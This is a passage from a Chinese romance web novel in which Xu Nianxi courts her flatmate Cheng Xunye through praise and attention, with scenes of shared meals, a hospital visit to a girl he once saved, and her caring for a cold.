他不听到不死心似的,程洵也被他弄得烦了,“啧”了声,因为难得的有些迷惑,声音很低,问严岸泊。严岸泊屏住呼吸,指望听什么大料,再去嘲笑程洵也,就听到他很是疑惑地来了句。“我身上是不是有很多优点?” “…”,严岸泊无语了一瞬,觉得自己真是好奇心害死猫。又看程洵也那样,严岸泊不用想,就知道这事肯定和徐念溪有关,猜测地问:“怎么?你发现,你在念溪那里,完全没有优点了?” 程洵也听出了他刻意扭曲他的话,瞪了他一眼,又一字一顿:“正好相反。”据不完全统计,从徐念溪变奇怪以来,她不仅不躲着他了,还夸过他不少次。说他帅、说他厉害谦虚、说很高兴认识他。乱七八糟的,什么都有一些。 逮着机会就来一句,跟夸奖不要钱似的。不仅不要钱,有些还言过其实了。就比如,那句谦虚。 可偏偏徐念溪语调真诚,神情诚恳得好像是,肺腑之言一样。 程洵也便合理怀疑,他自己是不是优点太多太多,所以徐念溪能变成这样。 严岸泊神情复杂地盯着他看了一会儿。突然俯身摸了摸他的额头,又摸摸自己的,纳闷地嘀咕:“这也没发烧啊。”… 这下,程洵也是完全不想搭理严岸泊了,任凭他说什么,程洵也都懒得分他一个眼神。他们聚了没多久,李伟豪要去找女朋友,便散了。至于严岸泊则被程洵也的无视弄得不停的叨逼叨。正叨逼叨的时候,突然有人喊了一句:“程洵也、严岸泊?”严岸泊没叨了,往声源看过去。是徐念溪。 她是出来吃午饭的,没想到网好碰到了程洵也和严岸泊。见到是徐念溪,严岸泊邀请她,和他们一起吃饭。 徐念溪应了。是家烤肉店。 徐念溪一个人坐在对面,程洵也和严岸泊坐在一起。 这俩个子都高,坐在一起,时不时肩膀就撞肩膀的,彼此又看对方很不顺眼,针锋相对似的。徐念溪提议:“我这边还空,你们来个人和我坐吧。”最后是程洵也和她坐在一起的。 徐念溪坐在里侧,不太好出去,所以程洵也时不时会帮她拿一碟新蘸料。 徐念溪每次都会和程洵也说谢谢,态度礼貌客气。 等这顿烤肉吃完,他们起了身。刚出了店。 程洵也想起了什么一样,留下句“等我一下”。严岸泊便和徐念溪站在门口,聊了会儿天。这期间,徐念溪行为举止也极其正常。完全不像,那个会去夸程洵也的人。还经常,三番五次地夸。严岸泊便合理怀疑,程洵也可能是做梦了,才会梦到这些。 没等多久,程洵也又出来了,随手似的把手上的大衣给徐念溪:“你的外套忘了。”徐念溪愣了下,才想起来,进店时,觉得热,把大衣脱了给服务员收着如果不是程洵也想起来,徐念溪后面又得自己赶过来一趟。这家烤肉店,离程洵也的房子还挺远的。她过来坐地铁都得两个小时,来回得四个小时。 想到这个可能性,徐念溪的话说得更加真心实意。“谢谢你,你真的是个很细心的人,还会记得这种小事。” 她这话一说完,严岸泊的表情立马就不对了,指着程洵也,瞪大双眼,不可思议地问徐念溪:“他细心吗?”徐念溪不明所以,但很认真地点头:“对,他很细心的。” 没等严岸泊再说话,程洵也横了他一眼,神情带着几分很明显的得意。那意思,看吧,他没说错吧。 程洵也开车来的,可以把徐念溪送回去。只是等他下车,打开手机,就看到严岸泊给他发了很多消息。 点进去看,就发现严岸泊近乎于胡言乱语:天呐!你怎么可能在念溪眼里有优点,还是很多。你在我眼中都没有很多优点。严岸泊:不可能不可能。肯定是我做梦了。对对对。就是我做梦了。严岸泊:好。我去睡一觉,睡醒了,这一切就真实了。 过了会儿,严岸泊像是睡醒了,又像是想到什么可能性一样,语气平静了点:哦,我知道了。念溪只是觉得你帮她拿大衣的动作很细心,并不是觉得你细心。严岸泊达成了自我说服,做了最后的总结:所以,我下次帮她拿大衣,她也会这么说我。 严岸泊这意思像是在说,对象不重要,行动才重要。是他不是他,都无所谓似的。程洵也嗤了声,给他回了六个句号。 他发完,严岸泊立马发来了满屏幕的叨逼叨,都是在说,他这个推测就是格外正确。程洵也实在不想看,放了手机,出了卧室。 徐念溪在客厅,电视开着。她边看电视,边有意无意地往他这边看。见到程洵也从卧室出来,徐念溪眼睛一亮,站起了身。 程洵也看了她两眼,也不知道她突然站起来是干嘛,迎接他吗?没这个必要吧。 思考的几秒,程洵也已经走到沙发上,找了个地方坐下。然后就看到,徐念溪找了个离他很近的地方,也跟着坐下。 ……" 所以,她起来就是为了确定他坐哪儿,然后和他坐在一起? 程洵也想了没两秒,便没想了,因为徐念溪又开始说话了。先问他想看什么,得知都行。她想了想,调到运动频道。刚好放的是篮球赛。 徐念溪上次看他打篮球,就有很多规则不太理解。这回他刚好就在,徐念溪便一会儿问他一句。这对程洵也来说没什么难的。只是他刚答完,就会收获徐念溪送来的夸奖礼包,顺带一个亮晶晶的星星眼。 "……" 哪怕是程洵也,也被她这种毫不掩饰的举动弄得尴尬了起来。他轻咳一声,这会儿倒是难得谦虚起来:“这都是很基础的,你没必要这么夸我。” 徐念溪神情认真:“虽然基础,但我确实不知道,所以夸你很合适。”她这话说得真心实意的,显然就是这么想的。 程洵也嘴角勾起了点,觉得她确实很会说话。但转眼之间又想到了这段时间她层出不穷的夸奖,还有奇怪表现。 程洵也“啧”了声,叫她名字。“徐念溪。”她看过来,神情疑惑:“怎么了吗?” 程洵也动了动身子,整个人坐直了些,很认真地看她:“你最近是不是突然发现,我这个人有很多优点。” 徐念溪被他这奇怪的问法问得一愣,有些茫然道:“你不是一直都有很多优点吗?” “.……” 她这人,某些时候。说的话真是让人招架不住。 程洵也看着她一会儿,忽然侧过脸,也不说话了。客厅里,一时只有电视机里的球赛声。 徐念溪不懂的毕竟多,时不时还得向程洵也请教。 程洵也每次给出的回答都很通俗易懂,哪怕她一个纯粹的门外汉,也能听懂。 只是,在徐念溪又一次感叹,他真的好厉害时,程洵也什么话都没说,像是没有听到一样。低调内敛得不太像他。 徐念溪注意到他异常的反应。看球的间隙,时不时就把目光放在程洵也身上。他坐得笔直,侧脸线条流畅利落,鼻梁高挺。但耳朵却有些发红。 徐念溪多看了两眼,他好像发现了她的目光似的,侧过脸,凶巴巴地盯着她看:“看电视,不准看我。”徐念溪很听话,乖乖的“哦”了一声。 剩下的时间,徐念溪都在努力地看电视。中途,有些口渴,她起来倒杯水。只是可能坐太久了,突然一起身,腿便有些软。 徐念溪整个人往前踉跄了几步,还好没摔倒,因为程洵也眼疾手快地拉住了她。程洵也脸色不太好,觉得她冒失:“第二次了,你小心一点。”徐念溪站直身子,有些后怕。如果不是程洵也,及时拉住她,她肯定会摔出个好歹。 徐念溪转过身看程洵也。“谢谢你,确实第二次了,没有你的话,我肯定又会像上次一样崴伤的。到时又会影响日常生活,很麻烦的。”她一副“他真的很重要很重要”的语气。 徐念溪等了等,没等来他的回话,边往厨房走,边一步三回头地回头。觉得他是不是没有听到她的话。 徐念溪人刚刚走到厨房门口,回头就看见程洵也突然伸出手,表情没有刚刚的无动于衷了。他有些懊恼似的地挠了挠头,把头发揉得乱糟糟的。发丝浮动,能清楚的看到,他的耳朵真的红了不少。 徐念溪脚步一顿,想再看,但程洵也已经发现了她的目光,板着张脸,顶着一头乱发,隔着点距离看过来。徐念溪又不敢再看,收回视线。 等她喝完水出来,刚坐到沙发上,程洵也就直起身,清咳了一声,“我回房间了,你自己看。”徐念溪愣了下:“好的。” 程洵也回了卧室,等门关上,才松了一口气。 觉得徐念溪这种时不时的直球话语,真的让人招架不住。 看电视的一会儿功夫,严岸泊又发了不少消息来。从刚开始的不可置信,到后面的更加不可置信,到最后甚至来了一场胡言乱语:不是,我越想越奇怪。念溪怎么可能觉得你有优点?还有很多?她该不是喜欢上你了吧?上次也是他,说徐念溪喜欢他。结果是误会一场。这次他又说。 程洵也被他气到了,觉得他没事找事,一字一顿道:你是个恋爱脑吧,什么都能往喜欢上扯。 严岸泊好心好意为他考虑,反倒被他说,那叫一个又愤怒又委屈。他也生气了:随便你,我懒得管你了。 程洵也:呵。过了会儿,严岸泊又自己跑过来了,语气困惑:你说,念溪为什么会突然这么夸你。我实在想不出来。程洵也想了想,回他:我也不知道。 她说的是,他一直都有那么多优点,可她之前也不是这样对待他的。甚至比起现在的夸奖,之前的她,对他避之不及的成分更多。 时间就这么慢悠悠的溜达过去。 徐念溪还是保持着,常在程洵也面前出现、多给出暖昧信号、不停夸他三项合一的综合策略。 只是这策略,也不知道是有效,还是没效。 程洵也在她面前,确实变了点。 但变的方向好像有点偏。 他不再在她面前自恋了,对她甚至还有点防备一样。每次她说话,他都会停下手里的动作,紧紧地盯着她看。像她是什么奇奇怪怪的人形炸弹,说出来的话,能把人炸飞一样。 徐念溪毕竟恋爱经验少。一时之间,她也说不清楚这种变究竟是好事,还是坏事。正疑惑的时候,有手机铃声,从程洵也的房间传出来。 程洵也从厨房出去,接了电话。徐念溪把电视声音调小,就听到隐隐约约几声对话声传来。而且,她好像还听到了女声。 程洵也没聊很久,就挂了电话。他没有再待在房子里的意思,而是穿了外套。一副准备出门的架势。 徐念溪想了想,装作不经意地出声:“你要出去吗?”程洵也边换鞋边回:“对。”“去哪里?”“医院。” 徐念溪眼睛睁大了点,看着他:“你怎么了?不舒服吗?”程洵也拿了车钥匙,随口回她:“没有。去看个朋友。” 朋友……徐念溪放开抱枕,扬起脑袋,摆出张诚恳脸,看程洵也:“我可以和你一起去吗?”“这…….”和上次的果断不一样,这次程洵也带了点迟疑,他思考两秒:“我问问她吧。” 电话接通,能听到清晰的女声从电话里传来。他们交流几句。没一会儿,程洵也便挂了电话,对徐念溪说:“走吧。” 徐念溪进了卧室,换好衣服,跟着他下了楼。车往前开,路过家超市时,程洵也下了车,买了很多零食和水果。这些看不出性别,可是他还买了芭比娃娃套装。很大一个,里面有很多粉色公主裙。徐念溪收回视线:“你要看的人是女生吗?”程洵也想了想,用女生形容那小孩,好像也没错,便点头。 这下,徐念溪的眉头皱紧了几分。剩下的路程,她也没再问什么。她不说话,车里就安安静静的。 到了目的地,他们下了车,提着东西,上了电梯。明黛有给程洵也发房间号,他摁了17层,徐念溪有留意到,这是住院部。出了电梯,就见一个气质温柔娴静的长发女人。正站在电梯门口,见到程洵也,就朝他笑了笑,言语之中,透着几分娴熟。“你来了。” 程洵也点了下头,把手上的礼品递给她。她并不推辞,落落大方地接下了。又看到后面的徐念溪,和她打了声招呼:“你好,我叫明黛。”“你好,我叫徐念溪。” 他们往前走,进了间单人病床。窄长的病床上睡着一个瘦小的小女孩,蓝白色条纹病服,穿在她身上,显得格外宽大。小女孩很瘦,脸色也不好,但通过五官可以看出来,和明黛长得很像。 正好明黛向徐念溪介绍,“这是我的女儿,叫明慈。有先天性心脏病,刚做完手术,手术挺成功的,她便想见见程洵也。” 她们说话期间,小女孩费力地睁开了眼,看见程洵也,就和他道谢。小女孩的声音带着几丝病气,中气不太足。但她很认真地给程洵也道谢,说她过马路的时候,没有好好看路,还好他帮了她。道完谢,她又开始道歉。说都是因为她,连累了程洵也,害他腿骨折了几个月。 明慈还要休息,他们没在病房里待很久,说了几句话就出来了。一出来,徐念溪也不说话了,皱着眉思考这一切到底是怎么回事儿。 他们出了电梯,回到车上。明黛给程洵也发了一条语音,他点开,是明慈的声音。小女孩说,哥哥再见,姐姐再见。 不知道是因为微信电流声比较大,明慈的声音也没现实中那么虚弱。程洵也回了她一句:“你好好休息,下次再来看你。”也是用语音回的。他放下手机,就对上徐念溪的脸。她看着他,表情思索。 程洵也愣了下:“怎么了?”徐念溪抿紧唇,她知道这样不好,像查户口一样,但她还是想知道:“你和她们,是怎么认识的啊?” 程洵也想了想:“半年前,我有一次过马路,结果就看到一个小孩,直愣愣地冲过来。”徐念溪一愣:“那个小孩是明慈吗?”“对。” 说起这个事,程洵也脸上还有几分后怕:“还好我当时眼疾手快,一把把她拉了回来。要不然她都被货车撞到了。”徐念溪眼眸睁大:“货车吗?”“嗯。” 徐念溪更震惊了:“你当时不害怕吗?”程洵也的回答轻描淡写的:“发生得太快了,根本没有时间害怕。” 这话说完,徐念溪也不问了。车往前开,很快到了房子里,程洵也进了卧室换衣服。 徐念溪这次没在客厅,等程洵也出来,而是进了卧室。和鲁惟与发消息:小鱼。鲁惟与很快回复:我在,怎么了。 徐念溪吸了吸鼻子:我有点不太敢追他了。 鲁惟与没料到会有这么一句话,纳闷:啊,为什么啊。之前不是追得好好的吗?徐念溪把在医院的种种说给鲁惟与听。鲁惟与也很意外:天呐,对于那小孩来说,他真的……难怪那小孩一做完手术就要见他,我要是那小孩,肯定也这样。徐念溪:是吧,我也觉得。 程洵也真的是一个很好的人,他对世界始终是保持善意的,所以他愿意朝别人伸出援助之手。不论是她,还是明慈,都受到了他的帮助。 只是。他可能真的有点太好了,如果她真的能追到程洵也,当然皆大欢喜。可如果她追不到,他们的关系回不到从前,她真的能从这么好的人身上,收回感情吗? 或许,像之前一样,彼此能说上几句话,而不继续深入,是最好的。正好,现在,程洵也有点躲着她的意思。她停在这里,可能是最合适的结局。 鲁惟与像是感受到她的胆怯,也不好再鼓励她闷头往前冲,安慰她道:溪溪,你再好好想想吧,想清楚再行动。徐念溪:好。 44、044 徐念溪这一想就是好久。如果说之前她是,鬼迷心窍,丝毫不考虑后果。那现在的她,更多的就是开始患得患失起来。 做决定不难,执行决定的过程才难。 徐念溪不是一个做好决定就能义无反顾的人。 她时不时就会有,这个决定是否正确,她是否能投入这么多精力,这个决定真的能得偿所愿的种种胆怯思考。 基于这种思考中的情况,她也不凑在程洵也跟前去了,也不时不时就夸程洵也两句。 程洵也晚上回来时,就看到安静的客厅,不复之前的热闹。周末时,徐念溪更多时候,也只是待在她自己的卧室,不怎么出来。这一切都莫名其妙的。 严岸泊约程洵也出来打球,这次他还特意看了看,也没见徐念溪。 问得疑惑:“念溪,这次不来吗?” “不来。”程洵也回。 出门前,他还问了徐念溪,问她要不要过来。他记得徐念溪当时犹豫了两秒,然后拒绝:“不了吧。”再加上她最近的种种。 严岸泊纳闷地说:“不是。那她上次为什么要来?还有,我到现在还没弄明白,她为什么会突然夸你。”程洵也本就觉得和徐念溪有关的任何东西,都让人费解又烦躁,严岸泊还一直问。他瞪了严岸泊一眼,凶巴巴的:“你怎么这么多话?” 球场上,程洵也也没让严岸泊,球风带着火药味儿,打得严岸泊原本还堵着一口气,不想和他说话,但很快破防,骂他没事打那么凶干嘛。程洵也也不搭理他,打完就撤退。 他回去时,徐念溪就在客厅,见他这么快回来,愣了下:“你回来了。”程洵也“嗯”了声,表情还有点臭,抬着下巴,眼睑微掀。和谁置气似的。 徐念溪疑惑了会儿,但她也不方便说什么,只拿了水杯,准备回卧室去。 她这样子,特别像那种,突然投入,又突然抽离的渣女。一直夸他,某一天又突然不夸了。现在他不开心了,她还跟个没事人一样。 哪怕程洵也是个心很大的人,都被她这来来回回,反反复复的,弄得烦躁又不爽。 程洵也“啧”了声,找茬似的,叫她名字:“徐念溪。”徐念溪回头,看他:“怎么了吗?” 程洵也直视她,眼眸透亮,眼神薄凉,眉宇间隐隐有几分锋芒。攻击性十足的样子,让人觉得不太好接近。“你最近什么意思?”他一字一顿。 徐念溪比他还疑惑似的,“我最近怎么了?”她最近不就是在思考要不要追程洵也吗?也没做别的啊。 程洵也看她那样子,只觉得她在装模作样。他火气更重了点,和徐念溪算账。“首先,你这些天总爱围在我身边,这个你能否认吗?”徐念溪顿了下,她这些天确实总爱围在他身边,这是事实,只好道。“……不能。” 听她承认,程洵也气焰更足了,几乎是质问:“然后,你总时不时就夸我,还说什么很高兴遇到我,你能否认吗?”这个也是事实,徐念溪沉默一会儿:“.…不能。” 程洵也放重语调:“最后,你突然不做这些,也不说这些了,你能否认吗?”徐念溪眼眸瞪大了点,她完全没有想到他会注意到她的变化。只是程洵也比她更凶似的,命令她:“说话。” 徐念溪吞吐了下,“…也不能。”听她不否认,程洵也松了口气,但紧接着更疑惑了似的,盯着她看:“为什么?” 徐念溪不明所以,“什么为什么?”程洵也这会儿又耐心很好似的,给她解释:“你为什么突然这样?”变化无常,让人毫无头绪。 徐念溪本就没想到他会留意到这一切,现在听他这么问,一时只觉难以解释。顶着程洵也直直望过来的目光,徐念溪磕磕绊绊的:“只是……觉得,你有可能不喜欢这样。”这是实话。在她围着程洵也的这段时间,他其实没有很多表示。对她的态度更像是,防备着什么一样。 她这话说完,程洵也不说话了。客厅里一时只有呼吸声。徐念溪懂他的意思了,垂眸往卧室里走,还没走两步,程洵也突然道:“还好。” 这是突如其来的的一句,徐念溪花了点时间才反应过来,这是和她说的。但……她扭头,疑惑地问程洵也:“什么还好?” 程洵也觉得她的理解能力真的是很不过关,“啧”了声,语气也凶巴巴的。“还好的意思你不懂吗。”他虽然不理解徐念溪为什么会突然夸他,也不理解她为什么突然有这些变化。 但他不能否认,他其实是喜欢的。所以现在,徐念溪不夸他以后,不围着他转以后,他才无所适从。 徐念溪看了他好一会儿,突然反应过来似的,倒吸了一口凉气,拿手挡住嘴巴:“所以你的意思是……”没等她说完,程洵也打断,“就是你想的那样。” 他说完,也不理她了,往卧室走。只是进去前,不知道有意还是无意,拿肩膀撞了下徐念溪。力道不大,但徐念溪没有防备,退后了几步,茫然地抬眼看着程洵也。 做出这一切的程洵也丝毫没有愧疚之心,还居高临下的,朝着她抬下巴,格外理直气壮地哼了声。小孩闹脾气似的。 他走后,客厅就徐念溪一个人,她拿着杯子,慢吞吞地坐到沙发上,喝了两口水。第三口的时候,她的牙齿抵在杯壁,嘴角忍不住慢慢上扬。 有了程洵也这句话,徐念溪又开始了围绕程洵也打转的生活。程洵也的态度和之前的比,他不怎么躲着她了。但时不时就会像找茬一样,看她在干嘛。 徐念溪下班回来后,经常能在客厅看到他的身影。他坐在沙发上,架着腿,宛如苛刻的大领导一样,监视她的一举一动。 如果她忘了主动和他说话,或者沉迷自己的事,对他不够热情,他就哼声。说某些人果然很敷衍,很容易变。 他说这些话的时候,就自己侧着脸,对着空气阴阳怪气,不知道说给谁听。但客厅里只有他和自己。程洵也不是个会自我怀疑的性格。那很显然,是故意说给她听的。 徐念溪毕竟还是理亏的,也不能计较。只好按照他的需求,每天下班回来第一件事情,就是和他打招呼。把包放在卧室里,又赶紧出了卧室,到客厅坐好,找话题和程洵也聊天。 时不时还特别有眼力劲儿地,见缝插针地,夸程洵也。这些东西,程洵也都堂而皇之地受了。不仅是接受了,还有点乐在其中的意思。 有时候,徐念溪甚至觉得,他是不是比较迟钝,所以没发现她在追求他。还是他已经发现了,只是在考验她的诚心。就跟唐僧要取得真经,需要经历九九八十一难一样。 徐念溪回程洵也的房子时,程洵也已经回来了。这会儿,正坐在沙发上,见到她,立马皇帝似的,叫她的名字。“徐念溪。” 徐念溪往他那边看过去,“怎么了?” 程洵也问:“你干嘛去了?”他一副理直气壮的找麻烦嘴角,徐念溪愣了下,回:“去和鲁惟与吃饭了,不是和你说过吗。”听她这么说,程洵也才想起来。他神情之中难得见几分无理取闹之后的悻悻,皱了下鼻子,“哦”了声。徐念溪把包放在了卧室里,到了客厅,拿了杯子去厨房洗。她洗的时候,程洵也像是没事干一样,也跟着到了厨房。他从冰箱里拿了一颗苹果,拿拖鞋踢了踢徐念溪的拖鞋。那意思,让开。徐念溪甩了甩手上的水,乖乖地给他让出了位置。程洵也洗干净苹果后,也没出去,而且站在徐念溪身后,像监工一样。一会儿说,徐念溪杯子手柄没有洗干净。一会儿说,徐念溪水杯里的水没有沥干。一会儿又说,她手里的杯子洗过了。 徐念溪挺能接受批评的,也不管他说的对不对,反正按照他说的话,一点点整改。 很快,程洵也又找到新问题。 拖腔拿调的,说,水龙头的水溅到他身上去了。 徐念溪便把水龙头打小了一点,只有一点水声潺潺,在厨房里滴滴嗒嗒的响着。不像是洗杯子,反倒像是什么水龙头漏水一样。 但是哪怕这样,程洵也还是不满意,抬着胳膊,把手臂给徐念溪看。一副她做了错事的讨债表情,“你看,你又把水弄在我身上了。” 徐念溪关了水龙头,盯着他的手臂看了会儿。依旧一无所获,有些纳闷地抬头看程洵也。程洵也伸手指了指,满脸较真地:“就这里,你没看到吗?” 徐念溪顺着他指尖的方向,看过去。只见他的胳膊上躺着一颗针眼大小的水珠。被风一吹,马上就会被晒干了一样。 徐念溪觉得他小题大做,抽了张纸,给他擦了一下,以为这事就会结束了,结果下一秒。程洵也就像抓到她把柄一样,神情震惊中又带着几分得意:“你偷摸我。”"?" 徐念溪耐着性子,“我没有摸你,我就是拿了纸……”她话还没说完,程洵也认定了什么似的,笃定地开口:“哦,所以你是想隔着纸巾偷摸我。” 徐念溪看他那张写满嘚瑟的脸。就算有可能是考验,但他最近真的,越来越过分了。唐僧求取真经也没见过这么无理取闹的妖怪吧。好像不胡说八道两句,他就不开心似的。 徐念溪嗓音安静,认真地说:“你要不别穿衣服了。”"?" “反正我都能隔着什么偷摸你了。”徐念溪,“你还不如不穿,直接给我摸算了。”"…." 这下,程洵也倒是没话可说了。剩下的时间,难得老实地拿着他的苹果,安安静静地啃。 等徐念溪从厨房出去,程洵也又立马跟着出去。他坐在沙发上,堂而皇之地命令徐念溪给他调电视看。徐念溪调了,他又不满意,各种挑剔。只动嘴不动手的样子,徐念溪忍不住盯他看了会儿。 被程洵也发现,他一副“你是不是忍不住了我就知道你肯定还是这种三天打鱼两天晒网一看就不是真心实意”的谴责表情。徐念溪也不知道怎么从他的脸上看出那么多东西的。她坐直了身子,摆出一张诚恳脸,“这个节目可以吗?” 程洵也端详她会儿,确认她没有变卦的心思,瞥了眼电视机,勉为其难似的:“也行吧。”他们这种奇怪的相处一直持续下去。有次,徐念溪和程洵也出去吃饭,刚好遇到严岸泊。严岸泊就眼睁睁地看着徐念溪全程对程洵也又是献殷勤,又是时时刻刻留意他的举动的。但就算是这样,程洵也还是不满意,各种挑剔,但徐念溪照单全收了。 简直就像个正在讨,难搞心上人欢心的,苦命老实人。比上次的,徐念溪夸他,更让人震惊。 等徐念溪起身去卫生间,严岸泊立马开口:“不是,念溪是有什么把柄在你手上吗?她对你这个样子?”程洵也呵了声,语气拖腔拿调的:“说了你也不懂。” 严岸泊太阳穴跳了跳,“你都还没说,你怎么知道我懂不懂。”程洵也理直气壮的,还反问他:“不用说,就像你会和小学生说奥数题吗?” "……" 等徐念溪出卫生间里出来,他们俩的凳子已经离得八百米远了,只留给对方一个大大的后脑勺。不用说,也知道。又吵架了。 严岸泊看见她来了,指着程洵也告状:“念溪,你都不知道他有多无理取闹。”程洵也听严岸泊这么说他,眯着眼扭脸看过来,一脸的威胁。像是在说,你还敢说我坏话。 见状,严岸泊指着他,振振有词:“你看,他还这个表情,一点都不知道反省。”徐念溪看过去,和程洵也对视上。 他鸦羽似的眼睫缓缓地抬起来,露出双很亮的琥珀色眼眸,此时正很平静地看着她。没什么情绪,但恐吓意味很浓。似乎在说,你敢帮他试试看。 他表情稚气,记仇的样子特别像个还没长大的大男孩。徐念溪觉得他有点可爱,可爱得让她觉得手痒,想捏捏他的脸。 当即轻咳一声,徐念溪侧过脸,很是昏庸地和严岸泊说:“那什么,他还小,你别和他计较。”严岸泊:“……” 等他们吃完了饭,程洵也的手机里就灌了不少严岸泊的叨逼叨。都是在说,他到底对念溪做了什么。程洵也只回了他一个字:呵。 “……” 自打这次和严岸泊吃完饭后,严岸泊对他们关系的好奇心一下子飙升到满格。时不时就在程洵也耳边说,念溪到底是怎么了,怎么就突然对他这么好,是不是真的喜欢他了。还有还有,他觉得念溪就是喜欢他了,要不然怎么会做成这个样子。程洵也每次都敷衍过去。因为他也不知道,也不敢深想。 西津迎来春分,气温还好,但时不时就下几场雨。徐念溪回来时,嗓子有点干,她有预感自己可能会感冒,提前吃了感冒药。 但很显然没什么用。徐念溪人晕乎乎的,躺在床上,闭上了眼睛。 程洵也没见到徐念溪的人,原本还以为她是不是终于烦了。结果找了一圈,在徐念溪的卧室里找到了她。听见敲门声,徐念溪打起精神:“进来。” 程洵也一进来就看到脸色通红的徐念溪。他找麻烦似的态度立马变缓,过来摸她额头:“感冒了吗?”“嗯。” 徐念溪揉了下耳朵,点头:“我吃过药了。”程洵也看了眼温度计,38.7°,觉得光吃药没用:“去医院吧,好得快一点。” 徐念溪摇头,把被子拉高一点,挡住脸:“不想去。”程洵也想了想,眉头打开:“也行吧。” 他起了身,拿过来湿毛巾,准备给她敷在头上。徐念溪还记得上次的感觉,整个脑袋都顶了冰块一样:“不想要这个。” 程洵也和她打商量:“敷毛巾降温能快一点。”徐念溪把被子再拉高了一点:“不想敷,除非……”话没说完,又觉得她好像有点任性,嘀嘀咕咕开:“算了,你还是放吧。” 程洵也放了毛巾,在她额头上。 果然很凉。 徐念溪忍不住动了动身子,露出有点想丢开,又有点想忍耐的矛盾样子。 还没等程洵也说话,徐念溪先开口了。 “那个……” 程洵也俯下身,刚准备听,徐念溪又闭了嘴,怏怏不乐似的:“算了。” …" 程洵也不满,指责她:“你这人怎么说话说到一半。”徐念溪眼睛打开一条缝,看他,继续嘀嘀咕咕的:“因为说出来不太好。” 程洵也总算知道严岸泊为什么每次听他说这种话都能一下子暴躁。他皱了下眉,回徐念溪,“你不说怎么知道好不好。” 徐念溪犹豫了一下,把被子拉起来,挡住下半夜脸:“那个……我刚刚不是敷了毛巾了吗,所以作为交换,你可以给我买冰糖葫芦吗?”程洵也刚开始没怎么听清楚,因为她缩在被子里,说话的声音喻嗡嗡的。 程洵也追问:“你再说一遍。”徐念溪这时候又半死不活了,把被子拉得更高,逃避似的,“不说了,你没听到就算了。”本来就不太好,她还在追求程洵也呢,怎么能指示程洵也做这做那的。 程洵也这下更不满意了,隔着被子戳她:“你到底在说什么?”一次。两次。三次后。 徐念溪受不了了,脑袋从被子里拿出来,“我说,你别戳我。”程洵也嘴角扯了下,大获全胜似的:“那你说。” 徐念溪闭了闭眼,一脸的视死如归:“我说我想吃冰糖葫芦。”她其实之前也没这么任性的。只是,可能是现在太晕乎了,晕得她整个人的神智都要没了。最深处的渴望就浮出来。她现在好想吃酸酸甜甜的东西。 程洵也顿了下,有些懵地看着她:“就这?”徐念溪抿着唇,点头。 程洵也深呼吸一口气,直起身,边往外走边毫不留情地吐槽:“糖葫芦而已,声音这么小,我还以为你想吃人参果不好意思说。” 程洵也走后,徐念溪捂住自己的脸,麻烦别人的愧疚和更多的控制不住的甜意从身体内部一起溢出来。让她人虽然晕晕乎乎的,但浑身都暖洋洋的。 程洵也很快就回来了,徐念溪接过他递过来的冰糖葫芦。咬了一口,好不好吃她不知道,但满足感却格外明显。她吃完了糖葫芦,又重新躺下。躺下后也不睡觉,而是侧着身子,眼巴巴地盯着程洵也看。 程洵也被她盯得有些受不住,瞪了她一眼,语调炸毛:“你看我干嘛?”徐念溪动了下身子,她这段时间可能朝他献殷勤献习惯了,张口就来:“你长得真好看,我想多看看。” “…” 程洵也别过脸,没理她。 他不说话,徐念溪可不会不说话,她想了想,试探着开口:“那个,你有没有想过,你喜欢什么样的女生啊。”程洵也愣了半晌,抬头看她。 徐念溪别开眼,又很快移回来,佯装镇定,振振有词:“你刚刚给我买了糖葫芦,是在关心我,所以我也要关心一下你。”程洵也这次沉默得更久,鸦羽似的眼睫垂着。 过了半个世纪那么久,他才缓缓道:“喜欢主动的,很主动的那种。”能让他能很明显地看出她的心思。 听到她的话,徐念溪慢吞吞地“哦”了声,把被子拉上来,挡住她整张脸。 45、045 翌日,程洵也起来的时候,徐念溪已经起来了。 正坐在沙发上,见到他就笑,说谢谢他的照顾,又说她请他吃饭吧。 程洵也摸了摸她的额头,已经退烧了,才勉为其难地,“行吧,谁叫你这么诚心呢。” “….” 出门时,徐念溪特意选了件和程洵也衣服颜色差不多的外套。吃饭的地儿也是西津有名的情侣餐厅。 他们一进来就收到服务员送的玫瑰。徐念溪没接,装若无意地,指了指程洵也。 程洵也看着服务员递到他手边的玫瑰,嘴角抽了抽:“不是,为什么会给我?” 徐念溪张口就来:“可能是你长得比较好看。” "…" 程洵也被她胡说八道的功力给震慑到了,难得无言以对地坐到了餐桌上。一坐下,程洵也就发现不对,餐厅里来来往往的都是一对又一对的情侣,他愣了下,看徐念溪:“这是情侣餐厅?” 徐念溪也愣了下似的:“是吗?我看这家店评分比较高,所以才定的。要换吗?”已经到了饭点,再换位置也没必要,程洵也:“算了,就这样吧。” 徐念溪应了声,又装模作样地点了招牌菜。等菜上上来,玫瑰花花瓣在碗碟边缘围了一圈,服务员还过来他们桌,放了首告白气球。又敲锣打鼓的,带领他们去了餐厅打卡点,拍了情侣照片,还送了相框。 这一切都尴尬又羞耻,程洵也自己答应的不换地儿,只好忍气吞声地跟着执行。 好在,食物味道确实不错。 回去后,徐念溪也没消停。程洵也那会儿正在客厅,看她手里拿着相框,逛来逛去。叫停她:“你干嘛?” 徐念溪回:“想找个地方放起来。”程洵也就懵了:“这种东西,还要放起来吗?” 徐念溪“嗯”了声,又反问:“不能放吗?”程洵也看她认真神色,沉默两秒,“没。你放吧。” 徐念溪寻找了一圈,在电视柜那儿找到位置,把相框立起来放好。 照片里,粉色玩偶背景墙下,她笑的幅度比较大,露出牙齿。程洵也则是抬着下巴,模样酷酷的,也不看镜头。不知道是她心理作用,还是真的,徐念溪觉得这张照片放在这儿,明显得,一进这个房子,所有人都能一眼看到。 程洵也似乎也这么觉得,走过来后,看着照片,神情幽幽地。徐念溪察他的言,观他的色本领已经很强了,先他一步开口,语调可怜兮兮的:“放在这儿不好吗?” 程洵也想实话实说,但看她两秒,最终“啧”了声,很是破罐子破摔:“随便吧,你想放哪儿就放哪儿。”徐念溪没有任何犹豫,还是得寸进尺。就把相框放在这儿了,满意地一点头:“那就这样吧。” 这之后,徐念溪开始每天准时给程洵也发消息,发的内容很日常。有时候是天空中拍的一朵像棉花糖的云,有时候是在网络上看到的有趣消息,有时候是她突发奇想的碎碎念。 程洵也不忙的时候,回得挺快。但一旦忙起来,很晚才会出现。这个时候,徐念溪会发现他有个很好的习惯。他会引用她发过去的每一条消息,再一条一条回复。 甚至有些消息,徐念溪自己都不记得当时的情绪了,但程洵也依旧会回。好像这一切,不再是她一个人的独角戏。 